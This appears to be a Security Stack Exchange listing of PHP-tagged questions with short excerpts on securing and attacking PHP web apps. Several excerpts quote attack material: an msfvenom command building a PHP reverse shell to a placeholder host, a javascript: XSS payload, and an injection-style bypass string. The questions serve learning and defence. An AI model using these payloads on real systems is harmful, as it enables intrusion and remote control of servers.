Questions tagged [php]

Security aspects concerning code written in the programming language PHP which is often used for web applications.

Filter by
Sorted by
Tagged with
1
vote
1answer
38 views

KikChat LFI/RFI exploit code?

I've been reading about PWK-Example-Report-v1.pdf on pages 7-14 and found that KikChat apps were used in the example. https://www.exploit-db.com/exploits/30235 Copy of the vulnerable app is available ...
2
votes
1answer
1k views

How to replace certain backup files on a website every 30 minutes? [closed]

I have a website built with WordPress, unfortunately somebody hacked it several times, deleted my adsense code and put his own adsense. I tried many security techniques, changed database name, did ...
0
votes
1answer
61 views

Can PHP files be dangerous without executing them? [duplicate]

Recently I had a job interview online as a developer and I had to download a .PHP file from an FTP. I used a VPN to connect to it and after downloading the file I just opened it in VS Code to see the ...
0
votes
3answers
48 views

How many bytes for password reset token? Should one take steps to hash or conceal raw CSPRNG bytes?

I'm trying to follow the OWASP 'Forgot Password Cheat Sheet' recommendations for password reset functionality via email. This requires my server to generate a token. OWASP says that PHP's random_bytes(...
0
votes
1answer
137 views

Suspicious HTTP Requests in my logs [duplicate]

I'm running a PHP application with a user management system called userspice. It basically allows you to include the userspice PHP file and then control access to a certain PHP page. As I have seen ...
0
votes
0answers
88 views

Backendly preventing database injections on simple web forms [duplicate]

I have a simple PHP-HTML-CSS contact form which saves emails to a local email client's database (in my case, Roundcube's database, which is a standalone MySQL database, I think --- I haven't used the ...
0
votes
0answers
15 views

What does this obfuscated PHP script do? [duplicate]

I found an obfuscated PHP-script in a log directory on a shared hosting, which had been given chmod 0777 by mistake. The script in it's original form looks like this: $zowyb = 'i#7uH0_ls5y4m*bcrovaptf-...
47
votes
3answers
6k views

Security implications of stolen .git/objects/ files

As a security in-charge, I just noticed that one of our production web apps was attacked by some hackers. The attacker accessed the .git/objects/ files. I already modified .htaccess to make .git and ...
1
vote
1answer
56 views

Found PHP script with erratic code, htaccess kept resetting even if I change it

When I browse on my hosting account, I found the index.php of my website has some code embedded to it, in the beginning there was really long line containing erratic code. There was also two more ...
0
votes
0answers
55 views

How to protect an email address in a php file? [migrated]

I have a continuously upgraded and minimalistically developed LAMP environment with an all-core CMS website. The main reason that my contact form in my website is backend (PHP) instead frontend (...
3
votes
1answer
70 views

Is it possibile to send NaN value to a param to bypass (PHP)?

is it possibile to bypass some check like this: $amount = (int)$_REQUEST['amount']; if (!($amount >= 10)) { // authorize } by sending a NaN value to amount param? like: https://www.site.com/?...
1
vote
2answers
77 views

JSON Web Token secret storage

I'm building an app where the client will be issued a JWT. The JWT will be passed to my API for every request. I'm leaning in the direction of hosting my webserver and SQL server separately from each ...
2
votes
2answers
113 views

Is there any way an attacker can access the server and modify the site (php) code? [closed]

I recently had a breach on my site (laravel). I got aware of it after I tried to pull the code from github and found out that some files were modified. The files modified were mostly storage - logs/...
3
votes
1answer
104 views

- Exploit aborted due to failure: not-found: Can't find base64 decode on target

So. I am having some issues at metasploit. I am trying to exploit exploit/multi/http/wp_crop_rce. I am using Docker, in order to install wordpress version: 4.8.9. PHP 7.2.12 (cli) (built: Nov 28 2018 ...
3
votes
1answer
54 views

Why does file traversal not working in this PHP file upload code?

I am using this script to upload file to the system with apache2 as server and php7. If I provide filename as ../../../../tmp/data.png of uploaded file, then also the file gets uploaded to /var/up/...
1
vote
0answers
60 views

PHP reverse shell is not responding back [closed]

I created a php reverse shell using msfvenom utility like: msfvenom -p php/meterpreter/reverse_tcp LHOST=<MY_IP> LHOST=4444 -f raw > reverse_shell.php And I created a listener using ...
3
votes
1answer
354 views

Does it make sense to have the application block users by IP as well as the firewalls?

I am planning to create a system, but I still have some questions about security. I would like to know if it makes sense to block unauthorized users from accessing the system, through the ip, using a ...
3
votes
1answer
69 views

How to create custom exploit https requests to test a PHP framework [closed]

I am working on the auto-routing functionality of Codeigniter 4 and I'd like to test it by sending some nasty exploit-type HTTPS requests to make sure it properly resists mischief. E.g., request a uri ...
1
vote
1answer
71 views

How to protect client server app if both: client and server - located on client side?

Frontend communicates to backend. I am a developer of frontend and backend. I want to protect my app (prohibit end user from using my app without paying). The only thing I have in mind is to have some ...
3
votes
1answer
101 views

Are there risks in user-uploaded .txt files sent as a string to PHP

I'm not sure if this question is within the scope of security.stackexchange or it would be more suitable on stackoverflow. Let me know if needed. I'm wetting my feet in PHP, and I've put together a ...
0
votes
0answers
44 views

WordPress, a Security Risk for Bitcoin Application?

Asked this question on Bitcoin SE was told to post it here. I'm developing a custom Bitcoin service. Besides for the core application (which is written in PHP) I'm going to install a blog for updates ...
0
votes
0answers
26 views

Parameter allowing untrusted user input in twig templates, but not getting SSTI?

I have created a small code where I include the user input without validation, so as to know the inner workings of SSTI vulnerability. This is the below code:- <!DOCTYPE html> <html> <...
0
votes
0answers
35 views

Wordpress reauth attacks? How to prevent

I am running a forward proxy filtering outbound requests for the following in order to catch potentially malicious requests from hacked Wordpress sites: /wp-login.php* /xmlrpc.php* Lately this has ...
0
votes
1answer
68 views

How password_hash / password_verify can work with any arguments (PHP)

I already know how to use password_verify and password_hash functions, but I don't really understand how they work. When I use them I do something like that: $save_hash = password_hash( $password, ...
2
votes
0answers
63 views

If a malicious PHP file never appears in the Apache log is it safe to assume it never executed?

I've found a couple of suspicious-looking PHP files on my webserver obfuscated by a substantial block of eval. Ideally, I'd like to know what they do, but I'm struggling to decrypt them. Everything ...
0
votes
1answer
69 views

Using parametrized queries in PHP

I am currently developing a Slack app in PHP. I'm trying to make the app as secure as possible, that's for sure. So far, I have done the following: Verified the requests using signing secrets Making ...
1
vote
1answer
95 views

PHP execution with special characters in the end

I was trying to reproduce this vulnerability: https://www.exploit-db.com/exploits/49294 According to the explanation, it is possible to bypass a check in a Wordpress plugin by appending a special char ...
1
vote
1answer
57 views

php / email / iis

in a certain page I have a newsletter subscription form, where the user enters his e-mail address and then through PHP an authenticated e-mail is sent to myself with the user's information (e-mail ...
7
votes
2answers
209 views

Do people even exist who actually vet all the updates to their open source software?

A year or so ago, I set up this system which, whenever Composer (that's PHP's packet/library update manager) fetched new updates to my few (but critically required) third-party libraries, created a ...
0
votes
2answers
67 views

can i execute javascript in href when i have text before my input?

This is where I took this example from: <a href="<?php echo $_GET['e'];?>">Back</a> In this code, I can do http://my_url?e=javascript:alert() But what can I do if my code ...
0
votes
1answer
132 views

Is it possible to setup a phishing “honeypot” for proof-of-concept purposes without getting the host/IP blacklisted?

[Edited title according to comments] In the company I work for we have many clients and vast majority of them have hosting with us and we made their web apps. One client though just applied for cyber ...
0
votes
0answers
55 views

SQL Injection Training challenge including a PHP file

I’m currently trying to get some knowledge in SQL injection. In a pen test environment, there is a challenge on which you get the PHP file and you need to try to login using SQL Injection. I’ve ...
0
votes
3answers
152 views

Is my login script secure – how to improve it?

I have a login system for my website that works as follows: In the database I have a table called users with the fields user, password and authentication_token. user gets set manually by request in ...
0
votes
1answer
97 views

How does a hacker reach a back-end file to exploit it?

I read this post: How does hacking work? and I saw that Chris Dale answered the question with some PHP exploit instructions. However, how does a hacker can read a PHP file (or another back-end file), ...
0
votes
1answer
293 views

Is this script malicious? What does it do? [closed]

I was working with a freelancer from upwork and noticed they added this script titled .default in my config directory. It looks malicious and they were hired to do CSS style changes of elementor: <...
1
vote
1answer
90 views

Why is php-fpm trying to connect somewhere on port 443?

I have nginx and php-fm set up to front a word press site. I used certbot to setup TLS. When I load any page, I see selinux violations and it looks like php-fpm is trying to reach out to some port ...
16
votes
1answer
6k views

Does a log entry with “SPT=81” despite nothing listening on that port indicate my server is hacked?

I manage a Debian GNU/Linux web server (Debian 10 Buster with its bundled 4.19 kernel). I put in place simple iptables logging rules a long time ago, among other things. Here they are: # iptables -A ...
0
votes
1answer
73 views

How can you find the PHP version a website is using using LFI?

If a website is vulnerable to Local File Inclusion (LFI), how can you use it to find out the PHP version? Is there any file which says the version of PHP being used. I'm trying to do a PHP sessions ...
0
votes
0answers
72 views

Is a simple text field a good alternative for phone/website fields if a form's data isn't saved in a database?

I am creating a website with the CMS MediaWiki and its extension named ContactPage. The website is principally all core and I use only that one extension ContactPage (as one which is not one of the ...
1
vote
1answer
87 views

Is it bad to trust PHP's $_SERVER information?

I want to know if is bad to trust the PHP's global variable $_SERVER values. I have a scenario that I change between developer and production site, and I have a config.php file. On this file, I check $...
1
vote
1answer
293 views

Can string concatenation in file_get_contents() be exploited in PHP?

Let's say I have the following PHP code: <?php echo file_get_contents($_GET['path'] . ".txt"); Obviously, it's insecure as path traversal is possible when passing e.g. ../../file as ...
0
votes
2answers
133 views

Bypassing htmlentities() for XSS attack

I'm only a beginner so if any more info is needed just request and i'll update the question. For one of my modules we are covering cross-site scripting and I have been given a series of PHP files that ...
0
votes
1answer
89 views

How to trace script injection/infection in php app

This is about a PHP7.4 based shopping platform (opencart (v3.0)). For testing purposes I had a dummy set up at site.com/xyz. The admin page of that was site.com/xyz/admin. The login and pw for the ...
-1
votes
1answer
137 views

Can't bypass filter [closed]

Trying some malicious injection against bWAPP and came across bypass captcha Filter validating captcha is if($_POST["captcha_user"] == $_SESSION["captcha"]) Tried input 1' || '2 ...
0
votes
0answers
39 views

2-way encryption of url parameters

My client uses a 3rd party vendor to store contacts and send promotional emails. All of the emails drive the user to various landing pages on their website. occasionally there is a need for ...
0
votes
4answers
199 views

Can here be SQL Injection

i got till moment when i do not know if it is secure! If SQL injection is inserted into myTableTwo via safe PDO query will it make my query below SQL injection open? Is the query below safe? $mysfield ...
1
vote
1answer
91 views

Can an empty uploaded file cause any security issues?

The php.net page on the move_uploaded_file() function contains a User Contributed Note which says, Security tips you must know before use this function : First : make sure that the file is not empty. ...
0
votes
0answers
50 views

Is it bad to let a file be downloaded using its direct path on WordPress?

I have a scenario that I want to let people that visit my WordPress website download some PDFs. These PDFs go to my website as products of the Woocommerce plugin, so they are stored on the folder ...
0
votes
0answers
83 views

Handling file uploads securely in phpmailer/php

I have a lengthy HTML form with around 20-26 file uploads required and some of them are even multiple. I am really concerned about how secure it is. I would really like to have some secure solution to ...
2
votes
0answers
100 views

How does proper use of session.use_only_cookies and session_regenerate_id() cause personal DoS?

From PHP Session Management basics: Proper use of session.use_only_cookies and session_regenerate_id() can cause personal DoS with undeletable cookies set by attackers. In this case, developers may ...

1
2 3 4 5
31